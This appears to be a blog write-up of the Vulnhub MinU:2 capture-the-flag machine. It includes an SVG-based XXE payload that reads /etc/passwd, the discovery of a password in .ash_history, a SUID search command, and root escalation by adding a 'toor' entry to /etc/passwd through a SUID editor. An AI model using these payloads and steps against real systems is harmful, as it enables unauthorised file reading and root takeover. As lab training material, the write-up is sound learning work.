mzfr@home:~$

Vulnhub - MinU:2 writeup


MinU v2

Author: 8bitsec

Nmap

Since only two ports are open let’s just start with the 3306


HTTP

There was nothing in the source so I ran dirsearch on it.

➜ python dirsearch.py -f -r -R2 -u http://192.168.1.114:3306/ -e php,html,tar.gz,txt,bak,zip,gz

And on visiting the /upload.html

We can upload any image to preview it and since it take only .svg we can easily exploit this to get LFI/RFI.


Stupid tries

First I was trying to get reverse shell with this vulnerability. I was able to exploit it to get me a JS shell meaning I was able to run command like alert(1) and they were popping up on the browser. But since we can’t do anything with just JS I was stuck on it for quite sometime.

Thanks to @4ndr34z for helping me with LFI


To exploit the LFI with XXE we can use the following payload

<!DOCTYPE svg [
<!ENTITY output SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<xxe>&output;</xxe>
<rect width="300" height="100"
style="fill:rgb(0,0,255);stroke-width:1;stroke:rgb(0,0,0)" />
</svg>

When you upload that file you’ll get the content of the /etc/passwd in the source of the page.

Since we are sure that it’s LFI we can use burp to find some important files to include so we can read some information from them.


I was stuck here for hour because I didn’t read the /etc/passwd file output properly. The users are using /bin/ash meaning we will have to find something related to that shell. I kept on looking for .bashrc or .bash_history 🤦‍♂️🤦‍♂️🤦‍♂️🤦‍♂️


If we look at .ash_history file we’ll see something very juicy.

useradd -D bossdonttrackme -p superultrapass3

We can login into employee account with the superultrapass3 password.


Privilege Escalation

I logged into the employee account via SSH

It’s enumeration time but my normal enumeration script didn’t worked due to change in syntax. So I manually started checking things, there was no sudo command in ash so no sudo right thing.

I then searched for SUIDs

find / -perm -u=s -type f 2>/dev/null

Here we see that micro which is a text editor is setup as SUID. I first thought that I’ll be able to run commands in it just like vim but it didn’t worked then @DCUA7 suggest to edit the /etc/passwd file to add an entry.

So I ran the following command

$ cat /etc/passwd | micro

And then added the following entry

toor:sXuCKi7k3Xh/s:0:0::/root:/bin/ashh

NOTE: Notice the extra h in the end of that line, I added this because when I add toor:sXuCKi7k3Xh/s:0:0::/root:/bin/ash I got error saying I can’t run as because there isn’t any such file so I just thought that for some reason the last char is being ignored so I added an extra h.

After this you can su toor with toor as the password and you’ll be root


This is really really amazing machine. I wasted so many hours on this just because I made so many mistakes but I learned lot of new tricks in this one.

Thanks to @_8bitsec for making such an awesome machine and thanks to @4ndr34z and @DCUA for their help.


Thanks for reading, Feedback is always appreciated.

Follow me @0xmzfr for more “Writeups”.